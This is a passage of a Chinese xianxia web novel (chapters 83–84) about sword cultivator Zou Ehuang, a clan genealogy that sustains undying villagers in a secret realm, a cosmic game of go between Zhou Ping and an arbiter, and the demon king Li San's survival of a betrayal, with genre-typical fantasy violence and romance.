邹娥皇不动声色,只偏了一寸。黑剑透过血肉肉,鲜艳的血未能在青黑的剑上着色,反倒是一颗浑浊了的玲珑心被剑搅得翻滚。 那渡给族谱的生机也被邹娥皇一剑砍断。 但是族谱仍在半空中飘荡。 谢霖听见邹娥皇在他耳边叹息。 他不懂这个女人为什么要叹息,就像是他不懂她为什么简单地把他收回蓬莱就好却非要吃力不讨好地陪他那么一段路。 谢霖什么都不懂。 谢霖甚至不明白,为什么会一步步走到无路可走。 他只有一声痛苦又嘶哑的吼声从喉咙里爆出。 “谢霖” 邹娥皇又道。 下一刻剑光又起,从对方的血肉之身里抽回。邹娥皇黑靴踩着谢霖的肩膀往上一跃,双手一并握住剑柄,劈向了半空里的族谱。 谢霖的眼珠骤然缩小。 他视线逐渐溃散,体温逐渐冰凉,最后只能见得那个**袍的姑娘,血色溅在邹娥皇脸上身上,就像是多年前的那一日,火光冲天里的那个她。 谢霖重重地倒在了地上,偏头晕过去的那一刻,心里只有一个念头—— 她果然知道了,他想做什么。 锋芒毕露的宽剑轻而易举地砍断了血水凝结的长链,然而却在离微微发光的族谱还有一寸的时候止住了。 外面的血水也好,剑气也罢,乃至于杏树噗噗落下的叶片,都无法触碰到这本族谱,饶是邹娥皇用力下压,却也只听见徒劳的刺声。 但她脸上并不见急躁,只有一派沉稳。 然后剑光四射,将族谱用几百道剑气裹成了一个会发光的球,防止族谱冲破束缚向外汲取能量。 邹娥皇说的谢霖回头,其实并不是出剑压制着他。 而是彼时谢霖的献祭阵法已成,他最多只有三个呼吸的时间,还能反悔。 而谢霖,他最后的悔恨,就藏在那一句嘶喊里。 邹娥皇一直不明白,修真界明明人人修仙要求个长生,可为什么每个人把自己的命看贱看清。 她垂下眸,究竟还是试了试谢霖的鼻息。 有气儿。 一路闻声匆匆赶来的容有衡,看见的就是这样的师妹,他的脚步不由地放慢,这样的师妹,他有多久不曾再见到了。 外人对于容有衡有诸多误解,譬如说都以为他清冷自持,实际上他闷骚蔫坏。同样的,外人对于邹娥皇也大抵是有诸多误解的,比如说以为这人该是沉稳的,但其实这人以前是最跳脱的。 这一世,若说除了让师妹活得长长久久之外,容有衡还有什么私心的话,就是他希望邹娥皇少一点这样的沉稳。 因为她这样的时候,容有衡总会觉得,自己离她好远好远。 “师妹。” 容有衡扯住邹娥皇的手,“人各有命,何必强求。” “我那日已经拦过他一次了,”容有衡的目光平静地掠过了谢霖,“但他执拗至此,那就无需再插手。” 谢霖陷入昏迷,并没有听到这句话。 否则他一定会弹射起步,对着容有衡怼脸开大:你喵的劝人是拿刀在脖子转一圈后威逼利诱?! “师兄,”邹娥皇瞥了一眼容有衡,试图把手从对方手里抽出来,但努力未果,刚要说什么的时候,前面那个剑光裹的球就一寸寸地蹦裂开。 族谱已然胀成了原先的好几倍大小,书页无风在空中簌簌翻起。 一个半透明的魂体从族谱里挣脱出。 “好久不见,邹阿黄。” 历经何言知一事后,邹娥皇对于好久不见这个词其实已经有些戒备了,可当她将目光凝聚在族谱上的虚影的时候,她却百思不得其解道:“你谁?” 寄托于族谱上的魂体,哪怕是半个虚影也有种旁人仿不出的舒朗傲慢,他五官与谢霖生得并不像,只有那偏厚的菱唇神似。 此刻托腮哂笑。 谢雩:“谢雨林这人耗了半条命来和你们抢这族谱换我,你说我是谁?” “哦。” 邹娥皇点了点头,擦着剑体,肯定道:“你是我师妹的那个渣男前夫——谢谢什么来着。” 谢雩静了声,灵体黑了几分,“非也。” “大哥与天道做交换,换得了你师妹那半身皮肉修罗疤,早就落得了个神魂俱灭。” 谢家三子之间向来缘浅情浅,独出了谢霖这么一个怪胚罢了。谢雩谈起他大哥并不见悲意,只在神魂俱灭这四个字的时候,多了几分的物伤其类。 “看来你是真的忘了我了。” 这句话听着有些哀怨和惆怅。 容有衡醋意翻江倒海,觑了眼一身正气的师妹后,心里又放宽了。 没事,他师妹听不出来这酸话。 “我名谢雩,白泽之主。” 白泽这两个字,作为神兽已经好久没有从世人嘴边提起了。 邹娥皇擦剑的动作一顿,很鄙视地看着那虚浮的灵体:“卖完白泽的命了,你开始卖你弟的命了?” 如果此刻浮在族谱上面的人是谢大郎,邹娥皇不会突然蹦出这个念头。 要怪就怪,现在让谢霖半死不活的灵体,是神兽白泽的主人,甭管大师兄之前跟她说过白泽代天听耳巴拉巴拉的神兽白泽的主人一定比他旁人更敏锐一些,对于这世间一切能钻的漏洞知的也更多一些。 就像是有了星盘的何言知,不自觉地就会用别人来给他换第二条命。 或许非出这类人本意,但却是这类人本能。 谢霖这个真正的傻白甜,如果不是有人暗中部署,再给他几百年,也绝不会发现秘境里的族谱,才是让秘境中人不死不灭的关键,也绝不会想到以一命换一命的死招。 虚空里谢雩的神色不变,甚至还打了个哈欠:“是又如何。” 谢雩目光没有看向地上生死不明的谢霖,此刻他的面容须臾与邹娥皇记忆里的何春生重合了起来。 谢雩:“邹娥皇,你如果出生在世家里,你也会理解的。” “在谢家里面,我的命凌驾于所有人之上,如果最后这世上只有一个人姓谢的话,那么只能是我,如果谢家三绝只有一脉不绝的话,他们只会选择我。” 谢霖愚蠢,谢霁清高,都撑不起一个谢家。 唯有谢雩。 …剑光雨光有停时,棋盘前对弈的两人自然也有输赢。 “论棋术,我不虚你。” “可惜、可惜——” 老者咳嗽,撑着一口气,对面的那人抬起脸来,轻笑以接道:“可惜这下棋之输赢,不在棋子对弈中,而在眼届高低里。” “咳、咳——周平——” 老者气喘吁吁,单单念出对面的名讳,这方天地就隐隐有崩裂的迹象。 “五千年前,你潜入幻海天,为了拿到不死神木,闯入老夫的试炼,结果最后棋差一招,输给了邹娥皇,老夫以为你此后便该知,此界阴阳,无可逆转,天道气数,自有其运。但老夫竟不知,你最后把视线——” “投入了此界外,天外天。” 第83章 利益永恒 棋盘里, 一黑一白双龙对持,隐隐有风雨之势,棋盘外, 则是另一方天地。 田间水乡旁,弯腰锄地的隆子抬起头,耳朵侧了侧,对着身侧的大壮道:“这一锄头下去, 可就再无悔改之势。” 地中被锄头指着的地方,生长出一簇又一簇新鲜的绿芽,起起伏伏的绿芽迎风招摆, 每个单挑出来都像极了李三头上的绿苗, 合在一起又像极了妖族里流传的那张祈神图。 大壮扯嘴,阳光下,日头照在他宽厚的脸上, 黝黑皮肤下浮动着青色血管, 形如鬼魅:“妖族既然已经来了,那么祭品也都该进来了。” “是, ”隆子鼻翼上的麻子随着呼吸一耸一耸, 语气淡然而讥诮:“妖族的向来脑子不好,以为祭品是那群被圈养的人,但幻海天缺的一直不是人血,而是妖血。” 大壮嗯了一声:“所以,这就是我们最好的时机了。妖族人族亡灵, 以及天道都混进来了,神主降临, 就该此刻。” 隆子看了他片刻,忽然问:“可是神主降临, 秘境绝对不会再有活口,邹女仙怎么办——” 大壮抹了把汗:“我把族谱施了障眼法,谢霖以为他换的命是他哥的,但其实上面的名字,是女仙的,有族谱在,她和我们都会活下去。” 风吹起大壮额前的碎发,他竟从将族谱给邹娥皇之前,就算到会来搏命的谢霖。 隆子想了想,又问:“小翠呢?” 大壮耸了耸肩,“理她作甚,女大不中留,据说是追着什么踪迹跑了。” 他顿了顿,笑了下:“约莫还记恨着你当年拦下她与那剑人私奔,可我们一出幻海天,便是灰飞烟灭,她又不是不知。” “我们能活着,全赖于神主。” 隆子并未回答,心里想的则是: 神主要降世, 众人猜的并没有错。 幻海天当年确实是出过飞升的神的。 所以才有了秘境里这些人,他们在天道的规定下已经与死人无异,但是因为神的庇护不死不灭。都说阵法是神在人间降临的渠道,那么幻海天本身,就是一个巨型流转的阵法,它灵气干瘪,正是因为供给了阵法日常维护,而死在这里的修士,也都是以村民为媒介奉献给了神。 现在轮到妖了。 高高的锄头挥起,锋利的锄具砍向一片绿芽,几十米开外窸窸窣窣的草丛里,先是冒出了两个毛茸茸的耳朵,接着就是十几名豹妖一起窜出,李三蹑手蹑脚地跟在豹妖身后颇有做贼感。 按理来说,久俊一死,妖族没有伪装的机会,是进不了这秘境的。 或者说,久俊一死,妖族就不会信莫名其妙的神,也就不会花大价钱潜入幻海天。 但是李三瞥了一旁的豹子妖,心情复杂,没想到这个奸佞之相的豹妖居然是个彻头彻尾的好人,在树倒猢狲散的情况下,不仅撑起了妖族日常,还坚持要为妖王报仇,甚至不惜动用妖族最后一片菩提叶,将众妖将送到这片秘境里,追杀邹娥皇。 “大王,根据追灵花的指引,那个女人离我们不远了。” 李三不情不愿地拿过追灵花对着阳光一晒,接着豹妖就看见李三极其拙劣表演手滑,将追灵花踩在脚下碾成尘。 豹妖:… “没关系大王,追灵花在妖族是最不值钱的东西,臣这次带了一乾坤袋的。” 李三张了张嘴,刚要说什么忽然觉得喉咙被扼住,一股揪心的痛从头顶的绿芽发出,直抵他的心肺,他掐住脖子啊地一声半跪在地。 远处,锄头落地。 连绵的绿草被连根斩断,大壮舒出了一口气,身边的隆子却忽然咦了一声。 “不对劲。” 满脸麻子的隆子眯起了眼睛说。 与此同时,邹娥皇用力一拉,终于抽出了被容有衡握住的手,她来不及和容有衡解释,就先跳到了半空里,被族谱撑开的剑气并未消散,而是空中翻转,逐渐形成了一股巨大的飙风。 邹娥皇沉气,双手手指骨节分明,将由剑气形成的飙风骤然撕开。 半虚的魂体在狂风中怔怔抬头,与高冲俯视的姑娘对望,看清了她眼底的淡漠,就在那一秒之间,一直玩世不恭的谢雩面上血色尽退。 “邹小黄,”他仰头轻轻道。 怎么再次见你,我竟这般狼狈。 “你是不是很瞧不起我!” 族谱即将合上的那片刻,谢雩撑开,那双俊俏多情的眼睛死死盯着邹娥皇。 邹娥皇:“没。” 她顿了顿,“我为什么看不起你?” 谢雩:“因为我为了活命不择手段,残害胞弟。” “哦,”邹娥皇轻飘飘说:“那确实是有点看不起。” 谢二郎的心一抽抽地疼,如果魂魄有实体的话,他感觉自己像被人把心挖出来搅动。 “站在我那个位置,你们蓬莱未必会做的比我更好,家族之下无个人,门派不过就是很多姓的家族罢了,归根到底都是利益的集合体选择一个最有价值的人活下去,才是对的,不是么?” “不。” 青度被越蓬盛撑着走了进来,她本就旧伤未愈,再加上刚刚她离谢霖最近,生机被影响的也最多,因而面色青白。 逾是白的肌肤,微鼓的青筋,才衬出了这姑娘一双剑眉,凌然若雪上红梅,轻不可折。 “你错了,谢雩。” “我是蓬莱最贵重的一条命毋庸置疑,我的身上担着的是道祖祭天后的下一个万年,但是我的命不需要任何一个蓬莱为我牺牲。” “相反。” 面色生冷的青度斩钉截铁道:“我的命之所以最贵重,正是因为我随时都可为蓬莱牺牲。” “不只是我,七彩阁的尹芝,昆仑的曲青云,这天下任何一个宗门的大师兄大师姐,必然是已经做好了牺牲的觉悟,才敢立于众弟子前。” “所以门派久存,世家必断。” 越蓬盛架着她。 湿意忽然进了他的眼眶,或许是风沙太大。 从小到大,越蓬盛和青度交锋过无数次,愤愤不平对方站着大师姐的位置无数次,但无论哪次,这个眼高于顶的少年,都不曾觉得青度不配位。 谢雩失了神。 随着族谱被合上后,这半透明的魂体也化作了族谱里两个鎏金的字,在满页宋姓里,张牙舞爪的一个谢字委实显眼。 邹娥皇视线一缩。 她目光停在那个名字那里良久,久到众人都对她侧目的时候,她才忽地用手指用力地摁了一下谢雩的两个字。 刀锋般的剑气将薄薄的一层纸墨刮平,谢雩两个字还没来得及大放异彩,就先成白色的粉末,弥散于半空中。 但是谢雩两个字堙灭后,纸页并没有变回原来的空白,而是散开的墨迹重聚,像时间倒放一般,又浮现出了三个字的人名。 ——邹娥皇。 容有衡看了眼师妹,却见她这一次下手更加的麻利,不消片刻,重新出现的三个字也被打散消弥。 好像她一点也不诧异,为何谢雩两个字消失后,会出现她的名字。 “看来,宋家村不死不灭的秘密,就藏在这本族谱里了。” 谦立延若有所思道。 “何止,”尹月双眼一眯。 自谢雩的魂体出现的时候,尹月就没怎么说话了,而且是一直以一种旁观者的姿态,立足于一旁。 “不死不灭,你们就没想到什么么。” “妖族给本阁主送来的神目,前几日轰动修真界的会议,谈的不也是死人复生么。” 尹月轻飘飘道:“你们不觉得这世道乱了么,多少该死的怨鬼重返阳间,又有多少阳间的人为虎作伥鬼。” 人多耳杂,尹月还有一句话没说出口。 但她知道邹娥皇一定懂,预言书里写的灭世之灾真的近了。 邹娥皇嗯了一声,然后走向刚刚被她甩了手的容有衡。 她其实还没适应好关系的转变,而下意识又不习惯和别人那么亲密,但是、可是毕竟嗯。 “师兄。” 容有衡把先前被她甩开的手藏在背后,卷长轻翘的眼睫微闪,也低低地嗯了一声。 邹娥皇歪头想了想,猝然伸手与他相扣。容有衡始料未及,炙热的体温忽地一下子传过来,搞得老男人的心怦怦地跳。 他象征地微弱挣扎两下,就被比他低一个头的邹娥皇强硬地掰着脸。 “刚刚要出剑,不方便牵你。” 啵地一个响吻贴在他的面上。 “所以别生气。” …棋盘一黑一白双龙对持,隐隐有风雨之势,然对持的双方,偏又对棋外的一切漠不关心。 “早知五千年后,你的棋下成这样,”周平惋惜道:“五千年前,我便该直接硬闯,抢了那不死神木。” 老者微笑回道:“五千年前,有她在,不死神木还到不了你的手里。” 周平挑眉:“先生这么自信?五千年前的邹娥皇,不过是个小贼,若不是侥幸破了试炼,不死神木怎么可能被她收入囊中,甚至因为她境界不够,受天道限制,连那回忆也存不住。” 老者长叹一口气:“你可知为何是她胜了?” “不死神木,是天下唯一一件伴天地而生,得天地芳华之木,五千年前的你,愤世嫉俗,怒火滔天,要拿不死神木灭这天道。” “但你未曾想过,出师不利,竟先败在了一小女孩的手下,于是你不得不下密州,破帝王须,你曾经想,让这天下无帝,后来你又想,要让这天下无仙。” 老者说:“你瞒过了出生入死的兄弟,让他们以为你的野心止步于称帝,你瞒过了与你对弈论道的蓬莱道祖,让他以为你的野心止步于人。” 周平对于老者的指控很平静,道:“是。” “可你最后还是败了,机关算尽,反败给了毛头丫头。” “没关系,”周平弹了弹袍子上没有的灰,没有被激怒:“兜兜转转千年,我也得偿所愿,与您在这里下同一盘棋了,不是么?” 只要他赢一次就够了。 这一次他赢得是棋,下得是天下,老者以裁决者的传承与他对赌,周平以自己的魂魄为本金。 压上所有。 “这一次,该轮到我了。” 周平语气闲散:“你以何春生与何言知之间的纠葛迷惑我的视线,让我以为我们走的是一样的招数,以人搏运。但你的棋最后并不是定在何春生身上。” “而是帝王须。” “你早就算到,”周平玩味道:“我会拿走它,毁了皇运,颠了天下,于是因果缠身,早逝崩塌,三千年只余一后手。何言知身上的运绑的是我的运,而我一开始就欠何春生因果,兜兜转转,终究是还了这密州。” 老者点头:“是,到这一步,老夫都没有出过差错。” 棋盘上几近压倒式的黑子应正了他的说法。 但是棋盘之外,两人的语气竟然都默认了执黑棋的老者最后会败。 周平道:“您听过何言知吧。” 老者评价这人道,“胜者,以不死之身作两次必死之棋,求仁得仁,妖族乱,人脉混妖王,自此之后,妖族皇气,也该尽数尽了。” 周平笑:“他这个人,无论多么性命攸关,几经颠簸,最后也会完成自己的那一步棋,和他活着死着都没关系,是非人圣,为人臣。” “所以他死在密州,必然是认了我的安排,他重生之后,走的每一步路,也必然不会辜负我的嘱托。” 老者奇道:“你这么信他?” 话音未落,棋盘上落于妖族方向白色的子已经蹦开,星星点点的碎石,像是为了证明周平所言非虚一般,碎开的白子上生出了绿色的草苗直直围住乌压压的黑子作势要吞下去。 “当然。” 周平轻笑,负手远眺山峦。 “此世,他可负千万人,独不可能负我。因为他走臣道,而我为君。” 周平对何言知的信任,与对何言知人品的信任无关,他们这种人只有把利益绑在一起才是最牢固的,而这种牢固的信任甚至超过了人间一般的兄弟。 只有周平下赢了这盘棋,绕了天下气运,做成他想做的事,何言知才有以人身飞升成神的可能。 从某种意义上讲,他们是利益共同体。 利益才是最稳定的,就像是妖族,不是因为妖王而统一,是因为强大的群体为它们争取了四州妖权。* “族长,妖王死了!” 小妖将见李三双眼翻白喉咙呲血半跪在地,大惊失色。 “死了”豹子妖压下嘴边的笑,“人族欺我妖族太甚,两界妖王皆死于人族之手,此等深仇大恨,妖族怎能忍让,如今十万妖兵在后,请诸位随我,血洗这幻海天!” 小妖O地张圆了嘴巴:不是,这方圆十里,哪有半个人影,怎么就是人干的了。 但是它看了看兴奋的族长默默吞下了自己的话。 在幻海天里,灵力受制,于人不是福地,于原身强大的却正是时机,之前的久俊虽蠢虽鲁莽,但也绝不是全无算计,等的便是这一刻。 这也正是为什么,久俊死了,豹子妖稳住妖族,架空李三,却还执意要走久俊计划的原因。 若人族宴霜寒、尹月、邹娥皇…这些人死在这里,那么人族还剩下什么——孤灯自掌的佛子,还是本性暴虐的龙主,是不出世的道祖还是仅剩一口气的老祖? 届时,妖族的百万雄兵,不日即可血洗人族。 金黄的豹眼出现明亮的火光,它振臂高呼。 “以人族之血,祭我妖族之魂!” “以人族之血,开我妖族之路!” 豹子精心情激荡,左手的妖旗就要挥下:“开战!” 无人在意的角落,体温迅速冷却的李三头上忽然动了动,草地里无数绿芽争先恐后地涌入了他的身体,李三额上渐渐浮现出了形似莲花的印记。 …亭台下,蔓延的绿草藤蔓如周平所预料般将盘上的黑子围住,但是下一刻,不断攀升的绿草却又一瞬间退了回去,碎裂的棋石重新汇聚,就像是一朵层层绽放的莲花一般,含苞待放,刚刚被围困的黑子一下子被放出。 就好像刚刚周平的胜券在握只是一场玩笑。 “真是一个好人臣。” 老者悠悠道:“小子,你还是嫩了点。” 老者对桌,周平的脸上,几经变化,终于浮现出了今日第一个类似于困惑的表情。 把时间线拨回久俊从妖族出军的那日晚上,苟长老的血染红了妖族的大殿,被妖族准备献给神明的人俘煽动了变乱。 何言知下潜牢房,几经雷劫的星盘在他手上已出裂痕,但闪耀如故。 圣人跟着星盘略过了变乱始作俑者的牢房,去了关押李三的牢房前,温润的眉眼悲悯地看着瘦脱相昏厥的李三,幽若的鲛鱼灯映出何言知眼底微弱的弧光。 黑影几乎要淹没这单薄身体的时候,这圣人或许是因为看到那狗眼,想起了一些不该想的人,又或许是因为仅存的良心作祟,又或许是因为他突然累了他站在拐角,进行了生命里第一次、唯一一次、也是最后一次的反思。 “我自认没有做错过事,我自认我的每一步都是为了明日。” “但是没有做错,不代表不会后悔。” 于是何言知将手放在李三的头上,低笑了下,无不讥讽地自语道:“所以—— “星盘不会出错,出错的是我。” 星盘依托于天道的意志,指引他行走的一定是益处最大的路。但是何言知忽略的是,他是人,是除了充满野心之外,还有一颗肉心的人。 野心教圣人走周平铺好的路。 但肉心。 肉心让何言知煎熬,让他痛苦。 让他在邹娥皇与周平之间,权衡利弊许久之后、下定决心之后、然后大事未成的前一秒 哐当反水了。 在那一日,他将不灭的莲花印记,给了李三,将在妖族行走这些时日得到古神树的种苗,也种在了李三头上。 后者麻痹了谨慎的周平,前者保住了李三一命。 而最后的一次死亡,他想交给她。 何言知这辈子比别人多走了九十九步,为了这九十九步,他把能踏的台阶都踏了。 寻明主、踩公卿。 负友人、灭己道。 偏偏是最后一步, 他心满意足地微笑,清醒到极致的赴死。 粉身碎骨 一派喊杀惊起,妖兽狂化,豹妖的爪子几乎要踏碎这片土地的时候,纤细的绿芽迎风升起。 “开、开你个屁战!” 太阳暴晒,李三只觉得像做了一场很长的梦一样,他迷迷糊糊地掀开眼皮,一巴掌挥开了抱着他假哭的豹子精。 丫的,就知道这不是个好东西。 第84章 你不该跟我走 一个在你计划里, 死了才能发挥最大作用的人,突然活了,你会怎么办。 豹子妖答曰:那就让他再死一次。 高高卷起的豹尾毫无预兆打向李三, 李三下意识地一个翻滚,豹尾从他身侧卷过,噼里啪啦地声响,青灰色的山石被劈碎成粉末。 李三摸着头上跌起的大包:“你要造反?” 豹子妖奸诈地笑:“造反?错了大王, 这叫识时务者为俊杰。” 也许是骤死一场,激发了某些天赋,李三发现自己居然能控制周围蓬草的收缩。 他一边与豹妖说话, 一边默不作声地用草将自己送到安全的位置。 生死关头, 李三倒是急智了一次。 也看清了诸多疑点。 “你从一开始就没打算让我活着对吧?” 李三语不惊人死不休:“你一开始的目标就是让我死在秘境里,这样你就能顺理成章地讨伐人族,以两任妖王接二连三死于人族之手为口号, 激起妖族血性。” “所以我说放了那些人修回去, 你也听我的不,那些人修是不是被你给杀了——” 这个矮个子青年说到这里, 声音徒然变得尖锐, 就像扼住脖子的孤鸟。 “不然呢?”豹子妖松开了钳制李三的毛爪,脸上胡须得意地一翘一翘:“你见过哪家妖怪抓了人还要好吃好喝供几日再送回去的?” 李三大脑壳空了。 破空而来的妖尾一荡,他身边空无一妖,正千钧一发的时候,万草拔地而起, 细草被伶俐的豹尾一卷,霎时沸沸扬扬。 他死死地咬住唇, 血腥气忽然从喉咙里泛出。 各种各样的面孔都在李三脑海里过了一遍。 其实李三一直都很讨厌他十四盟的那帮同事。 真的。 他讨厌他们的趋炎附势,就像讨厌镜子里照出的自己的那张满是谄媚的脸一样。 他讨厌他们, 就像讨厌自己。 但他从来没想过这群人会死。 当时趁夜混进去做卧底的时候,他看见了害他没了工作的小圆脸,也看见了掌事的,掌事一脸紧张地把他拎在一旁问他来做什么。 李三装傻充愣,只说自己也信这些。 话音一落,周围的人看着他的目光更加奇怪了。 掌事的说他糊涂啊,糊涂,就要赶他出去。 李三这才知道,这群人不是单纯地因为信神,而是因为妖界以高官厚禄许诺他们叛变,以不死不灭为诱惑更改他们的信仰。 他就说,在这群十四盟选拔出来的修士们面前,哪有什么虚假的神,永恒的黄金白物才是唯一真神。 独他一个人,混在里面显得突兀。 等一进妖族后,众人都被关在牢狱里有关神的熏陶时,李三突然想起什么来了问掌事:“你那日把我从十四盟踢出去,其实不是因为我得罪了蓬莱吧,是因为如果我留下,就会和妖族对上。” 掌事大惊:“你怎么把我想的这么好。” 李三道:“大家都快死了,你不能让我美化一下你吗。” 后来,监狱外。 新上任的妖王李三摇了摇头上的一根草,站在阳光里,单手拎着钥匙,对着幽暗监狱里的众人,低下头笑得狡黠:“这次轮到你们把我美化一下了。” 李三这个时候,才浑浑噩噩地想起那日掌事的表情很奇怪。 很奇怪。 在高兴疯了的狱友衬托下,掌事表情非常奇怪而幽长的死寂,就那么看着他,然后鞠了一个躬。 像诀别。 泪水决堤,李三咬着牙,呜咽声被抿在喉咙里。 眼珠被红血丝充斥。 豹子妖族长脚步一顿,无数不知从哪里钻出的野草与藤蔓拦住了它的脚步,妖气它嗅到了妖气暴乱的味道。 再一回神看,那个软弱的妖王不知道什么时候四肢已经变成了飞舞的树杈。 “雕虫小技,你以为这就能拦得住我么?” 豹子妖冷笑连连,长啸一声,后腿蹬地几下就冲了上去。 无数藤蔓与长爪相接,李三感受到从手腕起慢慢僵化到胳膊,从胳膊在慢慢到身躯他整个人都好像变成了一棵树,在这片土地上落地生根。 再这样下去,他不是死在豹妖手上,就是死在这个状态里。 李三绝望地闭眼:麻蛋,早知道就不学话本里的主角爆大招了。 就在凌厉的豹爪破空袭向他喉咙,李三僵硬的躯体躲闪不及之际,忽地被拦腰卷起,一地尘埃里,刚刚的参天大树已不见踪影。 护住他的小妖四肢着地,软爪变硬,暴起的斑斓毛发撑破衣衫,李三被妖的尾巴卷起拖在地上滑行。 李三:“咦——” 许是知道他在疑惑什么,小妖呲牙道:“容大人安排让我们混在里面救你的。” “容大人?” 李三结巴道,姓容的他只记得十四盟有个散修容无常,近二十年名声鹤起,据说是经常执行一些妖族边缘的任务。 但是非亲非故的,人怎么会救他。 救他这样的——无名小卒 容有衡打了个喷嚏。 邹娥皇瞥了他一眼。 最近这人就跟孔雀开屏一样,总穿一些骚包的衣服。 以前在蓬莱的时候,邹娥皇只见过容有衡穿一身黑,像盘踞在高崖险畔长枝上的黑蛇,矜贵又冷傲,平等地蔑视着芸芸众生。 甚至有几次,邹娥皇还听过容有衡对隔壁宴霜寒怼脸开大,表示很瞧不起对方一边穿黑,一边一天换一条镶嵌满宝石的蹀躞,大男人那么爱美干什么。 当时的师兄大概不会想到今日吧。 今日的容大男人 不仅穿了一身石青宝相花刻丝锦袍,还在锦袍外松松垮垮地披了层紫薄纱,用一条比起宴霜寒还要华丽的蹀躞套住,底下迤逦的衣摆飘诀。 满头青丝单用一根木簪别住。 偶有几根碎发,零星地落在柳叶眉下,衬得那一双含情目艳光韶韶,自带了点破碎感。 邹娥皇觉得嘴巴有点痒。 这个男人怎么现在看着这么好亲。 她以前从没有把任何人的嘴和好亲这一个词联系上,无论什么样的唇,在她眼里都是说话的工具。 直到亲了容有衡之后。 邹娥皇咂摸了一下,鬼迷心窍地掂脚,还要再去吻一下,却忽然见这个男人冷淡地别过脸,冷冷对她道:“别亲,我一会就要走。” 邹娥皇恋恋不舍:“现在亲你和你一会要走,有什么关系。” “有关系。” 容有衡瞥了一眼邹娥皇,欲念成焚在他的肺腑中灼烧,偏面色冷然,只有耳根通红。 如果再被她亲一下,他怕他就走不了了。 很多事情其实无牵无挂的时候,想的很大义凛然,觉得自己贱命一条,怎么牺牲,只要对方幸福就好。 可是当那蜻蜓点水的吻划过面颊的时候,难免的生出了几分不甘的挣扎。 邹娥皇问道:“那你来这一趟做什么。” “看看你。” 唇红齿白的仙君低声道。 这一次无话可说的人,终于变成了邹娥皇。 只是看,不能亲么。 她啊了一声,还没反应过来,就被对方缩步成寸逃走。 容有衡走后,邹娥皇尹月青度三人留在院子里翻看族谱,越蓬盛尹芝等人则是出去闯一闯幻海天。 幻海天里面秘宝不少,若是单单为这么一个族谱放过了其他的机会,不可谓得不偿失。 但是没人看着这几个小兔崽子,邹娥皇还是有些怕的。 “我总有一种不好的预感。” 邹娥皇握住拳头,喃喃道:“总觉得他们不稳当。” “不该放他们出去的。” 尹月冷笑:“有什么炸,王炸?” “别瞎想了,这秘境里就算有趁火打劫沿路埋伏,也不会动手到他们几个人身上的。” “你不要一直把他们当小孩看着,这样养出来的人是生不出羽翼的,你要放他们去跑,去跳,让他们去看看外面的世界。” “我们是他们的底气,给他们的成长兜底,但是生死之外,都是小事。” 冷冷的薄气从尹月口中吐出。 几百年前的一次幻海天秘境,有人曾趁乱杀了一个七彩阁弟子,被尹月知道后,追凶三年,最后在死海边缘捉到。 ——下场是,剥皮抽筋 棋盘上,被吃掉的黑子虽又被吐了出来,形势却依旧不容乐观。碎了的白子再度粘好已失了光度,十几枚跟在白子后面的白子,投落在棋盘上的阴影,略显张牙舞爪。 周平叹气:“我和何言知认识了很久。民间形容兄弟是说好到可以穿一条裤子,我和他虽算不得这样,但若论实的,王位打下来我都可与他共分天下,所以我才不明白。” “你不明白他会背叛你?”老者问。 “不,我不明白的是,”周平语气蓦然浮现出一抹厉色与惘然:“以他的才智,若要叛我,就该把坏事做绝,若要推举我,就不该到最后一步反水。这样既没好处,也无用处。除非,他只是临时起意” 可是这样的人,与其信何言知一步错步步错,周平都不可能信他一时兴起。 “现在,又轮到你了。” 那风烛残年的老者卷袖将棋落下。 “后生,你想要我的位置,那便让老夫看看,你下一步,赌的是谁。” 周平笑,“裁决者,您既然已知我志不在此青天,那我的下一步,自然也该是天外人。” 天外人,究竟这片尘封之地,有几个当得起一句天外人。 老者一语道破:“那么,你是要借着一直想要下界的飞升者为棋,将一切秩序推翻。” 周平微笑,回个是。 裁决者怅然道:“你这招太阴毒,老夫竟无子可下。” 周平道:“先生谦虚了,怎会无子可下,一双龙凤都在你的手里握着,此界最大的变数,改了何言知的命、逆了天眼的剑的姑娘,不还在那里么。” 周平曾与对方有过两照面。 第一个照面,她拦住他的步辇,他轻视她,只懒洋洋的看了一眼。 第二个照面,在有关不死神木的试炼里。 当幻境告诉让试炼者在牺牲天下和牺牲一人之间选择的时候,周平毫不犹疑地选择了牺牲天下。 命不分高低贵贱,一人之命与天下之命,一百人之命与十人之命,在他这里,一直是等同的。 既然要死,就一起死。 而邹娥皇,她迷茫地抬头,问幻境里拿着不死神木的仙人虚影:“有没有题干,没有题干我不做。” 仙人:… “天下和那一个人,都是无辜的,但就是因为这一个人活着,所以天下颠覆,只有这一个人死了,天下才能海清河晏。” 而邹娥皇皱了皱眉,格外清脆道:“这就是我困惑不解的了,天下英才如过江之卿,怎么会被一个影响?” “一个人能影响的天下,到底是多小的巴掌地?” 视线回到现在。 “你是说,”老者沉吟道:“蓬莱岛、无名剑,道祖座下二弟子——” “邹娥皇?” …夜来得很突然。 邹娥皇指腹摩擦在族谱第三百多页的时候,天色不觉就已经暗了。 大壮给她的族谱,里面每一系每一个分支都记载的很详细。 偏就是这样的详细,才觉问题。 “邹师伯,邹师伯!” 几声刺耳的呼喊打破小院的宁静。 越蓬盛面上是一派凄厉,他左半条腿被连根斩断,长长的道袍烂了好多口子,拖在地上,其余三个情况也算不上好,纵然是姜印容,半身尤挂彩。 “有情况——” 越蓬盛寒牙打颤。 这是他第二次见到妖族。 “妖族它们在秘境里,我们一出村落走到中围就被袭击——” “谦立延和孙峰贰先感受到了不对劲,可是七彩阁她们不肯信我们,执意要往前走——” “尹芝她们、被抓住了——” 几个时辰前说出的话居然成真了。 邹娥皇下意识地就觉不好。 她扭头一看,却见尹月闭了闭眼。 美人压抑的呼吸几乎要化成一团火,烧尽这漫山遍野。 “尹月,”邹娥皇握住她的手腕。 “不能去。” “它们是故意的有备而来,所以才放一半人,留一半人,甚至,”邹娥皇艰难道:“还很有可能,是照着你的性格设下的一个坑。” 薄薄的一层皮下是青筋微显的血管,尹月呵斥道:“放开,别逼本阁主动手!” 一起去的。 可偏偏蓬莱没事,有事的是七彩阁。 刚刚说的什么叫小孩放手去锻炼,就像是最响亮的巴掌拍在尹月脸上。 此刻,这股邪火正对着蓬莱,偏有人还不长眼地要撞上来。红绫噌地一下从尹月的指尖冒出,缠住邹娥皇,“你再不放手,本阁主就断了你这用剑的手!” 邹娥皇没松手。 薄如蝉翼的红绫边角锋利,轻轻一逼,就几乎要削下她一层血肉。 尹月愈显烦躁:“放开!” “你去有什么用?”邹娥皇冷静问。 